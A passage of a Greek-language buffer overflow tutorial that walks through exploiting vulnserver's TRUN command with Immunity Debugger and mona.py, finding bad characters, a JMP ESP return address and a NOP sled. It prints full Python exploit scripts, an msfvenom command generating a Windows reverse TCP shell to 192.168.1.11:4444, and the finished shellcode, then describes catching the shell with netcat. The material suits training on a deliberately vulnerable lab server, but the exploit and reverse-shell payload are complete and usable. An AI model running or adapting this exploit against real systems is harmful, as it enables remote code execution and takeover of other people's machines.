\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Θα θέλετε να δηλώσετε μια μεταβλητή που ονομάζεται "badchars" και να επισυνάψετε τους κακούς χαρακτήρες μετά τα τέσσερα B που στέλνουμε στο EIP, ελέγχοντας έτσι μόνο την απόκριση του ESP σε αυτούς τους κακούς χαρακτήρες:

#!/usr/bin/python2

import sys
import socket
from time import sleep

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

buffer = "A" * 2006 + "B" * 4 + badchars #Send the 2006 As, then the four Bs into the EIP, and then the bad characters into the stack

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.1.25', 9999))

        s.send(('TRUN .' + buffer).encode())
        s.close()
        sleep(1)
        buffer += "A" * 100

    except Exception as e:
        print("Fuzzing crashed at {} bytes".format(len(buffer)))
        print("Error message: {}".format(str(e)))
        sys.exit()

Τώρα θέλουμε να στείλουμε αυτούς τους χαρακτήρες στην υποδοχή ακρόασης του vulnserver.

Εδώ μπορείτε να δείτε το τελευταίο μέρος του 2006 A, το 4 B και τους ακόλουθους χαρακτήρες ASCII στον χάρτη μνήμης μας.

Εάν θέλουμε να δούμε αν το πρόγραμμα ανταποκρίθηκε ή όχι σε κακούς χαρακτήρες,μπορούμε να μεταβούμε στην Προβολή › Χάρτης μνήμης και να εντοπίσουμε τη διεύθυνση που εμφανίζονται για πρώτη φορά οι χαρακτήρες ASCII (011FF9CC).

Εάν κάνουμε δεξί κλικ στον πλησιέστερο αριθμό διεύθυνσης και επιλέξουμε "Ακολουθήστε στη CPU", μπορούμε στη συνέχεια να επιστρέψουμε στο παράθυρο της CPU και να προβάλουμε τη διεύθυνση, το hex dump και το αντίστοιχο ASCII.

Δεν θα εξετάσω τον τρόπο μη αυτόματης αναγνώρισης badchars εδώ. Μπορεί να θέλετε να χρησιμοποιήσετε βοήθεια AI ή μπορείτε να χρησιμοποιήσετε μια λειτουργική μονάδα mona.py (διαθέσιμη στο GitHub) για να δημιουργήσετε ένα αρχείο κειμένου χαρακτήρων ASCII γραμμένο σε bytecode.

Μπορείτε να χρησιμοποιήσετε το «mona! compare” εντολή στο κάτω μέρος του παραθύρου εντοπισμού σφαλμάτων για να συγκρίνετε το αρχείο κειμένου με τους χαρακτήρες που στείλατε στο πρόγραμμα, ξεκινώντας από τη διεύθυνση μνήμης στην αρχή της στοίβας (το ESP).

!mona bytearray
!mona compare -f C:\Program Files (x86)\Immunity Inc\Immunity Debugger\bytearray.bin -a <ESP value>

Το μηδενικό byte, \x00 επισημάνθηκε αυτόματα ως κακός χαρακτήρας (κάτω).

Το \x80 σε δεκαεξαδικό επισημάνθηκε επίσης, το οποίο είναι ένας χαρακτήρας κενού διαστήματος ίσο με δυαδικό 10000000. Τώρα ξέρουμε τι πρέπει να αποφύγουμε όταν γράφουμε τον κακόβουλο shellcode μας.

Εύρεση της σωστής μονάδας

Πρέπει τώρα να αναζητήσουμε ένα αρχείο .dll ή κάτι παρόμοιο στο πρόγραμμα vulnserver.exe που δεν έχει προστασία μνήμης. Αυτό συμβαίνει επειδή ο κακόβουλος κώδικας μας βρίσκεται στη στοίβα.

Θυμάστε νωρίτερα πώς το ESP αντικαταστάθηκε επίσης μετά την εγγραφή πάνω από το EIP;

Εάν ο καταχωρητής ESP δείχνει αποτελεσματικά στην κορυφή της στοίβας, λογικά θα σκεφτόσασταν ότι αν αντικαταστήσουμε το EIP με την αρχή της στοίβας και στη συνέχεια βάλουμε κακόβουλες οδηγίες στη στοίβα, η CPU θα αρχίσει αυτόματα να διαβάζει και να εκτελεί ό,τι υπάρχει στο σωρός.

Δυστυχώς για εμάς — η στοίβα δεν είναι εκτελέσιμη από προεπιλογή.

[περισσότεροι θόρυβοι λυγμού]

Αυτό είναι το αποτέλεσμα ενός μηχανισμού προστασίας που ονομάζεται DEP ή Πρόληψη Εκτέλεσης Δεδομένων (θυμηθείτε τη διαφορά μεταξύ "δεδομένων" και "εντολών" - τα gremlin στον υπολογιστή σας δεν θέλουν να εκτελούμε οδηγίες εκεί που θα έπρεπε να βρίσκονται τα δεδομένα) που κάνει τη στοίβα μη -εκτελέσιμα.

Ένας άλλος μηχανισμός προστασίας που θέλουμε να αποφύγουμε ονομάζεται ASLR (Address Space Layout Randomization) που φορτώνει κάθε αρχείο .dll ενός προγράμματος σε μια τυχαία διεύθυνση μνήμης, για να κάνει την ανάπτυξη του exploit πιο δύσκολη.

Εάν βρούμε μια συγκεκριμένη οδηγία συναρμολόγησης μέσα σε ένα ευάλωτο αρχείο .dll που ονομάζεται "JMP ESP" που ανακατευθύνει τη ροή εκτέλεσης του προγράμματος στη στοίβα παρακάμπτοντας μηχανισμούς προστασίας, τότε μπορούμε να εκτελέσουμε τον κακόβουλο κώδικα που έχουμε ήδη εισαγάγει στο στοίβα.

Στο κάτω μέρος του παραθύρου Immunity Debugger, πληκτρολογήστε "!mona modules".

Αναζητούμε κάτι συνδεδεμένο με τον ίδιο τον vulnserver και το πρώτο μας αποτέλεσμα είναι το essfunc.dll, το οποίο φαίνεται να είναι συνδεδεμένο (“\vulnserver\essfunc.dll”)

Τώρα χρειαζόμαστε το αντίστοιχο opcode μιας εντολής JMP ESP στη συναρμολόγηση.

Ο κωδικός λειτουργίας είναι συντομογραφία του «κωδικός λειτουργίας» που είναι ουσιαστικά μια εντολή που λέει στον υπολογιστή τι να κάνει όταν φτάσει στην εντολή.

Μπορείτε να βρείτε opcodes χρησιμοποιώντας το nasm_shell.rb στο Kali και, στη συνέχεια, πληκτρολογώντας "JMP ESP" με το αποτέλεσμα:

00000000  FFE4              jmp esp

Αυτό υποδηλώνει ότι το "FFE4" είναι ο κωδικός λειτουργίας για την εντολή JMP ESP.

Εναλλακτικά, μπορείτε να απευθυνθείτε στο google για τον αντίστοιχο κωδικό λειτουργίας.

Τώρα θέλουμε να αναζητήσουμε έναν ευάλωτο κωδικό JMP ESP μέσα στο essfunc.dll και να εντοπίσουμε μια συμβατή διεύθυνση επιστροφής.

Θυμηθείτε ότι μια διεύθυνση επιστροφής είναι η θέση σε ένα πρόγραμμα όπου η εκτέλεση ενός προγράμματος συνεχίζεται αφού το πρόγραμμα τελειώσει με την εκτέλεση μιας συγκεκριμένης συνάρτησης. Λοιπόν, "JMP ESP" ουσιαστικά σημαίνει, μεταβείτε στο ESP και ξεκινήστε να εκτελείτε οτιδήποτε υπάρχει.

!mona find -s "\xff\xe4" -m essfunc.dll

Εδώ είναι οι μη προστατευμένες διευθύνσεις που έχει βρει η mona:

Η πρώτη επιλογή, 0x625011af φαίνεται καλή υποψήφια.

Εάν το μετατρέψουμε σε εξάγωνο, θα μοιάζει με αυτό στο πρόγραμμά μας

\x62\x50\x11\xaf

…Εκτός από όχι.

Δεδομένου ότι ο επεξεργαστής διαβάζει οδηγίες σε μορφή "little endian", το τελευταίο byte έρχεται πρώτο, επομένως πρέπει να το αντιστρέψουμε:

\xaf\x11\x50\x62

Τώρα ο επεξεργαστής θα καταλάβει πού είναι που θέλουμε να JMP.

Μπορούμε να αντικαταστήσουμε το ωφέλιμο φορτίο EIP με την εντολή JMP ESP:

#!/usr/bin/python2

import sys
import socket
import time


shellcode = (nothing here yet)

buffer = "A" * 2006 + "\xaf\x11\x50\x62" + "\x90" * 32 + shellcode

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect(('192.168.1.25', 9999))

        s.send('TRUN .' + buffer)
        time.sleep(1)

    except Exception as e:
        print "Fuzzing crashed at {} bytes".format(len(buffer))
        print "Error message: {}".format(str(e))
        sys.exit()

Θα πρέπει επίσης να προσθέσουμε padding μεταξύ της εντολής JMP ESP και του shellcode καθορίζοντας "\x90" * 32.

Αυτό προσθέτει 32 του μη λειτουργικού χαρακτήρα "NOP", που ονομάζεται επίσης έλκηθρο NOP, ακριβώς πριν από τον κακόβουλο κωδικό μας. Αυτός είναι ένας χαρακτήρας που απλώς βοηθά το πρόγραμμα να εκτελεστεί σωστά.

Μπορείτε να διαβάσετε περισσότερα για τα έλκηθρα NOP εδώ.

Δημιουργία Shellcode

Τώρα που έχουμε τον κώδικα άλματος, μπορούμε να δημιουργήσουμε ένα αντίστροφο κέλυφος χρησιμοποιώντας το εργαλείο msfvenom του Metasploit και να το μετατρέψουμε σε bytecode που θα τοποθετηθεί στη στοίβα. Απλώς καθορίστε τον τύπο του ωφέλιμου φορτίου, την IP και τον αριθμό θύρας για το αντίστροφο κέλυφος και τυχόν κακούς χαρακτήρες που θέλετε να εξαιρέσετε (-b).

Μην ξεχάσετε να καθορίσετε την κατάλληλη αρχιτεκτονική (-a x86).

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00\x80"

Αυτό θα δημιουργήσει κάτι σαν αυτό:

Μπορείτε να αντιγράψετε και να επικολλήσετε αυτόν τον κώδικα απευθείας στο πρόγραμμά σας.

Τέλος, αυτό είναι το πλήρες κακόβουλο φορτίο μας:

#!/usr/bin/python2

import sys
import socket
import time


shellcode = (
"\xd9\xe8\xd9\x74\x24\xf4\x5b\xbf\x0e\xe2\x53\x71\x2b\xc9"
"\xb1\x52\x31\x7b\x17\x03\x7b\x17\x83\xcd\xe6\xb1\x84\x2d"
"\x0e\xb7\x67\xcd\xcf\xd8\xee\x28\xfe\xd8\x95\x39\x51\xe9"
"\xde\x6f\x5e\x82\xb3\x9b\xd5\xe6\x1b\xac\x5e\x4c\x7a\x83"
"\x5f\xfd\xbe\x82\xe3\xfc\x92\x64\xdd\xce\xe6\x65\x1a\x32"
"\x0a\x37\xf3\x38\xb9\xa7\x70\x74\x02\x4c\xca\x98\x02\xb1"
"\x9b\x9b\x23\x64\x97\xc5\xe3\x87\x74\x7e\xaa\x9f\x99\xbb"
"\x64\x14\x69\x37\x77\xfc\xa3\xb8\xd4\xc1\x0b\x4b\x24\x06"
"\xab\xb4\x53\x7e\xcf\x49\x64\x45\xad\x95\xe1\x5d\x15\x5d"
"\x51\xb9\xa7\xb2\x04\x4a\xab\x7f\x42\x14\xa8\x7e\x87\x2f"
"\xd4\x0b\x26\xff\x5c\x4f\x0d\xdb\x05\x0b\x2c\x7a\xe0\xfa"
"\x51\x9c\x4b\xa2\xf7\xd7\x66\xb7\x85\xba\xee\x74\xa4\x44"
"\xef\x12\xbf\x37\xdd\xbd\x6b\xdf\x6d\x35\xb2\x18\x91\x6c"
"\x02\xb6\x6c\x8f\x73\x9f\xaa\xdb\x23\xb7\x1b\x64\xa8\x47"
"\xa3\xb1\x7f\x17\x0b\x6a\xc0\xc7\xeb\xda\xa8\x0d\xe4\x05"
"\xc8\x2e\x2e\x2e\x63\xd5\xb9\x91\xdc\xd4\x32\x7a\x1f\xd6"
"\x55\x26\x96\x30\x3f\xc6\xfe\xeb\xa8\x7f\x5b\x67\x48\x7f"
"\x71\x02\x4a\x0b\x76\xf3\x05\xfc\xf3\xe7\xf2\x0c\x4e\x55"
"\x54\x12\x64\xf1\x3a\x81\xe3\x01\x34\xba\xbb\x56\x11\x0c"
"\xb2\x32\x8f\x37\x6c\x20\x52\xa1\x57\xe0\x89\x12\x59\xe9"
"\x5c\x2e\x7d\xf9\x98\xaf\x39\xad\x74\xe6\x97\x1b\x33\x50"
"\x56\xf5\xed\x0f\x30\x91\x68\x7c\x83\xe7\x74\xa9\x75\x07"
"\xc4\x04\xc0\x38\xe9\xc0\xc4\x41\x17\x71\x2a\x98\x93\x91"
"\xc9\x08\xee\x39\x54\xd9\x53\x24\x67\x34\x97\x51\xe4\xbc"
"\x68\xa6\xf4\xb5\x6d\xe2\xb2\x26\x1c\x7b\x57\x48\xb3\x7c"
"\x72")

buffer = "A" * 2006 + "\xaf\x11\x50\x62" + "\x90" * 32 + shellcode

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
        s.connect(('192.168.1.25', 9999))

        s.send('TRUN .' + buffer)
        time.sleep(1)

    except Exception as e:
        print "Fuzzing crashed at {} bytes".format(len(buffer))
        print "Error message: {}".format(str(e))
        sys.exit()

(Σημείωση: Εκτός εάν η διεύθυνση IP του υπολογιστή σας είναι 192.168.1.11, δεν θα θέλετε να χρησιμοποιήσετε αυτόν τον κωδικό απευθείας.)

Βοήθεια δεν λειτουργεί

Λοιπόν, εκτός και αν η διεύθυνση IP σας είναι 192.168.1.11 και ακούτε στη θύρα 4444, μάλλον δεν θα το κάνει. Πρέπει να δημιουργήσετε τον δικό σας κώδικα κελύφους ειδικά για τα στοιχεία του δικτύου σας.

Επίσης, μην ξεχάσετε να μορφοποιήσετε τον κωδικό JMP ESP για τον επεξεργαστή με τον οποίο εργάζεστε:

\xaf\x11\x50\x62

Δεν χρειάστηκε να αντιστρέψουμε τη σειρά byte των χαρακτήρων στο ωφέλιμο φορτίο badchars επειδή δεν ήταν οδηγίες, απλώς χαρακτήρες.

Συμπερασματικά

Τώρα μπορούμε να ρυθμίσουμε ένα πρόγραμμα ακρόασης netcat στη θύρα 4444 για να καταγράψουμε το αντίστροφο κέλυφος:

Εκτέλεση του σεναρίου:

Εκτελέστε τον vulnserver ως διαχειριστή και, στη συνέχεια, απενεργοποιήστε το exploit.

Συγχαρητήρια! Μόλις ολοκληρώσατε μια βασική υπερχείλιση buffer, με μια όχι και τόσο βασική κατανόηση του πώς λειτουργεί.

:)